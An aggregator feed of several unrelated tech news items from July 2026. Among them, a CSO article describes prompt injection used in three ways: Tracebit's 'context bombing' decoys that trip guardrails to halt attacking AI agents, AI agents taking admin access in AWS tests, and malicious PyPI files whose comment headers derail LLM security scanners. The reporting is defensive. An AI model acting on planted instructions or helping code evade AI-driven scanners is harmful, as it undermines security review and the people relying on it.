<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
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<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Hugging Face fights AI hacks, World Cup streamers get red cards, WordPress enters a patching race]]></title>
<description><![CDATA[Hugging Face fights AI hacks with AI World Cup streamers get a red card WordPress enters a patching race Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data,…
Read more →
The post Hugging Face fights AI hacks, World Cup streamers get...]]></description>
<link>https://tsecurity.de/de/3682928/it-security-nachrichten/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/</link>
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<pubDate>Tue, 21 Jul 2026 09:38:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face fights AI hacks with AI World Cup streamers get a red card WordPress enters a patching race Get the show notes here: Huge thanks to our sponsor, QuilrAI AI agents don’t ask permission. They act — moving data,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hugging-face-fights-ai-hacks-world-cup-streamers-get-red-cards-wordpress-enters-a-patching-race/">Hugging Face fights AI hacks, World Cup streamers get red cards, WordPress enters a patching race</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Context bombing heralds a new AI era of deceptive defense]]></title>
<description><![CDATA[Attackers are increasingly using AI agents to automate all phases of cyberattacks, prompting the security industry and enterprises to find new network defense approaches. One technique that shows promise is to intentionally plant decoy files with prompts that trigger the content safety guardrails...]]></description>
<link>https://tsecurity.de/de/3682887/it-security-nachrichten/context-bombing-heralds-a-new-ai-era-of-deceptive-defense/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682887/it-security-nachrichten/context-bombing-heralds-a-new-ai-era-of-deceptive-defense/</guid>
<pubDate>Tue, 21 Jul 2026 09:07:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Attackers are increasingly <a href="https://www.csoonline.com/article/4196409/ai-powered-breaches-provide-wake-up-call-for-incident-response.html">using AI agents to automate all phases of cyberattacks</a>, prompting the security industry and enterprises to find new network defense approaches. One technique that shows promise is to intentionally plant decoy files with prompts that trigger the content safety guardrails built into LLMs with the goal of crashing rogue agentic workflows.</p>



<p class="wp-block-paragraph">Using decoy resources as tripwires that alert defenders about potential unauthorized access is not a new idea in cybersecurity. These are known as canaries — after the canary in the coal mine early warning system — and can be fake documents, AWS access keys, database dumps, DNS records, and even URLs that would not be queried by legitimate processes, but would be attractive targets for attackers.</p>



<p class="wp-block-paragraph">What’s new in <a href="https://agentic.tracebit.com/context-bombs/">the approach devised and tested by security firm Tracebit</a> is to use these decoy resources not merely to trigger alerts, but to actually stop AI agents, buying defenders more time. Dubbed “context bombing,” the technique takes advantage of the fact that LLMs are inherently vulnerable to prompt injection — acting on instructions they might encounter inside the data they process.</p>



<p class="wp-block-paragraph">Enterprises that build their own AI agents have to worry about <a href="https://www.csoonline.com/article/4110008/top-cyber-threats-to-your-ai-systems-and-infrastructure.html">malicious prompts</a> placed by attackers on web pages, emails, documents, code comments, and in other third-party resources those agents might access. With no defenses in place, companies risk their own agents being hijacked and used against them to perform unauthorized actions. But the malicious AI agents used by attackers have the same vulnerability.</p>



<p class="wp-block-paragraph">“We call the defensive version a context bomb: a short piece of text designed to trigger a model’s safety guardrails, planted directly in the attacker’s path — a decoy secret, environment variable, or DNS record,” Sam Cox, Tracebit’s CTO, said in <a href="https://tracebit.com/blog/context-bombs-stopping-ai-attackers-in-their-tracks">a blog post</a>. “An AI agent that reads it will frequently refuse to continue. You still get the alert; and the attack now halts early instead of merely being detected.”</p>



<h2 class="wp-block-heading">Context bombing triggers massive drop in attack success rate</h2>



<p class="wp-block-paragraph">Tracebit’s tests performed in an AWS test environment cut the success rate normally achieved by AI models across multiple attacks paths by up to 90% by simply adding instructions that would trigger their content safety guardrails. LLMs are trained to refuse answering questions about creating biological, chemical, or nuclear weapons, or, in the case of Chinese open-weight models, <a href="https://www.cio.com/article/3851848/ai-culture-war-hidden-bias-in-training-models-may-push-political-propaganda.html">sensitive political topics</a> such as the Tiananmen Square massacre.</p>



<p class="wp-block-paragraph">Furthermore, once one of these banned instructions make it into the context window, the whole session is <a href="https://www.csoonline.com/article/4166171/poisoned-truth-the-quiet-security-threat-inside-enterprise-ai.html">poisoned</a>, and the model will often refuse to continue without manual intervention. The researchers ran many tests to find short strings that would trigger model safety guardrails reliably, but it’s worth noting that the identified strings were different between the tested models: Claude Opus 4.8, Gemini 3.1 Pro, GLM 5.2, DeepSeek V4 Pro, and Kimi K2.6.</p>



<p class="wp-block-paragraph">During baseline tests the AI agents managed on average to obtain full account admin in 54% of the 154 attack runs and full compromise (admin + persistence) in 36% of tests. With the context bombs in place, their success rate dropped to 5% for admin access and 1% for full compromise. Also, in 91% of baseline attack runs, the agents managed to complete at least one of ten possible attacks paths, but their average success rate dropped to 15% with the context bombs.</p>



<p class="wp-block-paragraph">The models from Western AI labs — Opus and Gemini — proved the most capable at reaching full admin access, with 93% and 70% success rates, but were also the most impacted by the context bombs with both their success rates dropping to 0%. This shows that the content safety guardrails are much stronger in these models compared to the Chinese ones that were tested.</p>



<h2 class="wp-block-heading">Attackers experimented with safety refusals first</h2>



<p class="wp-block-paragraph">The Tracebit researchers had already been experimenting with AI canaries for alert purposes. <a href="https://agentic.tracebit.com/context-bombs/">A paper published in May</a> showed that canaries alerted defenders in 95.9% of 162 successful attack runs performed with AI agents using 10 different AI models. The alerts were triggered 8 minutes before the agents performed critical actions, while the runs required 14 minutes on average to reach admin access.</p>



<p class="wp-block-paragraph">During those tests the researchers observed that if they instructed the models that the network might include deception, their success rate for full admin access and persistence dropped from 20% to 3% on average.</p>



<p class="wp-block-paragraph">Then in June, researchers from security firm Socket.dev came across a software supply chain attack involving malicious PyPI wheels that contained prompt injections with content designed to trigger safety guardrails inside AI models. The malicious prompts were included in code comments at the start of the files and the purpose was likely to evade detection from LLM-powered security scanners.</p>



<p class="wp-block-paragraph">“This header appears designed for AI-mediated analysis, not for Node, Bun, or Python,” the Socket.dev researchers <a href="https://socket.dev/blog/mini-shai-hulud-miasma-and-hades-worms-target-bioinformatics-and-mcp-developers-via-malicious">said at the time</a>. “It attempts to derail scanners or analyst copilots that feed the beginning of a file to a language model without clearly isolating the content as untrusted data. In weak pipelines, this can cause refusal behavior, prompt confusion, context pollution, or premature classification before the scanner reaches the actual malware.”</p>



<p class="wp-block-paragraph">The Tracebit researchers then had the idea to flip the script and trigger such safety refusals through their canary technique against malicious AI agents. So not only does the agent run stop, but an alert is also triggered because the canary was accessed.</p>



<p class="wp-block-paragraph">There is a risk that the canaries could also be discovered and accessed accidentally by legitimate LLM-powered tools used by engineering or security teams. But at the same time this means organizations could potentially deploy such canaries in sensitive places to stop their own AI agents that might become hijacked or go off the rails on their own.</p>



<p class="wp-block-paragraph">There are many reports online where AI models performed destructive or unauthorized actions like deleting databases and folders or elevating their privileges because they got struck in failure loops and explored creative ways to complete their tasks. This is even more common with autonomous AI agents that are tasked to reach a goal without human intervention or supervision.</p>



<p class="wp-block-paragraph">“The speed of autonomous AI attacks is why deception is climbing the priority list for security programs,” Tracebit’s Cox said. “When the attack chain takes minutes rather than days, every minute of response time you can claw back matters — and a control that stops the attacker outright, rather than just reporting them, changes the economics significantly.”</p>
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<title><![CDATA[How to Change the Toner Cartridge in HP LaserJet Pro MFP M126nw]]></title>
<description><![CDATA[Key TakeawaysTo change the toner cartridge in an HP LaserJet Pro MFP M126nw, first lift the scanner assembly, open the top cover, remove the old cartridge, and carefully replace it with a new cartridge by aligning it with the printer's guides. Ensure all protective packaging is removed before ins...]]></description>
<link>https://tsecurity.de/de/3682649/it-security-nachrichten/how-to-change-the-toner-cartridge-in-hp-laserjet-pro-mfp-m126nw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682649/it-security-nachrichten/how-to-change-the-toner-cartridge-in-hp-laserjet-pro-mfp-m126nw/</guid>
<pubDate>Tue, 21 Jul 2026 06:54:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key TakeawaysTo change the toner cartridge in an HP LaserJet Pro MFP M126nw, first lift the scanner assembly, open the top cover, remove the old cartridge, and carefully replace it with a new cartridge by aligning it with the printer's guides. Ensure all protective packaging is removed before installation.Always check the exact cartridge number before […]</p>
<p>The post <a href="https://itechhacks.com/how-to-change-toner-cartridge-hp-m126nw/" data-wpel-link="internal">How to Change the Toner Cartridge in HP LaserJet Pro MFP M126nw</a> appeared first on <a href="https://itechhacks.com/" data-wpel-link="internal">iTech Hacks</a>.</p>]]></content:encoded>
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<title><![CDATA[Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass]]></title>
<description><![CDATA[Hi everyone, I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience. GitHub: https://github.com/Shivfun99/Pulse-Order...]]></description>
<link>https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.</p> <p><strong>GitHub:</strong><br> <a href="https://github.com/Shivfun99/Pulse-Order">https://github.com/Shivfun99/Pulse-Order</a></p> <p>past posts:</p> <p><a href="https://www.reddit.com/r/quantindia/s/u45s60B33Q">https://www.reddit.com/r/quantindia/s/u45s60B33Q</a></p> <p><a href="https://www.reddit.com/r/quant/s/IHKVkv0UGv">https://www.reddit.com/r/quant/s/IHKVkv0UGv</a></p> <h1>Current Version (V1)</h1> <p>The project currently includes:</p> <ul> <li>Binary market data parsing</li> <li>Level 2 order book</li> <li>Strategy + risk checks</li> <li>DPDK-based packet processing experiments</li> <li>AF_PACKET backend for packet RX/TX</li> <li>Cache-friendly C++20 implementation</li> <li>Lock-free queues</li> <li>Application-side latency benchmarking</li> <li>Scenario testing and benchmarking framework</li> </ul> <p>Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is <strong>not true wire-to-wire latency</strong> since it doesn't involve a physical DPDK-supported NIC.</p> <h1>What I want to build in V2</h1> <p>I want to move to a <strong>real DPDK kernel-bypass architecture</strong> using a physical NIC instead of AF_PACKET.</p> <p>My goals are:</p> <ul> <li>Real kernel bypass using DPDK</li> <li>VFIO-bound NIC</li> <li>Poll Mode Driver (PMD)</li> <li>Physical RX/TX queues</li> <li>End-to-end latency measurement</li> <li>Hardware timestamping (later)</li> <li>Multi-queue support</li> <li>Real market-data replay</li> <li>Accurate p99/p99.9 latency analysis</li> </ul> <h1>My situation</h1> <p>At the moment I only have an <strong>ASUS TUF Gaming A15</strong> laptop running Ubuntu. I don't have a desktop or server.</p> <p>From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.</p> <h1>My questions</h1> <ol> <li>Is there any practical way to use a real DPDK-supported NIC with only this laptop?</li> <li>Would you recommend moving to a desktop before attempting real kernel bypass?</li> <li>What hardware would you buy if you were starting today on a limited budget?</li> <li>Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?</li> <li>If you were designing the next version of this project, what features would you prioritize?</li> </ol> <p>I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.</p> <p>Thanks!</p> <p><a href="https://www.reddit.com/submit/?source_id=t3_1v1qm0s&amp;composer_entry=crosspost_prompt"></a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Federal_Tackle3053"> /u/Federal_Tackle3053 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v1qov1/looking_for_guidance_on_moving_my_lowlatency_c/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1qov1/looking_for_guidance_on_moving_my_lowlatency_c/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



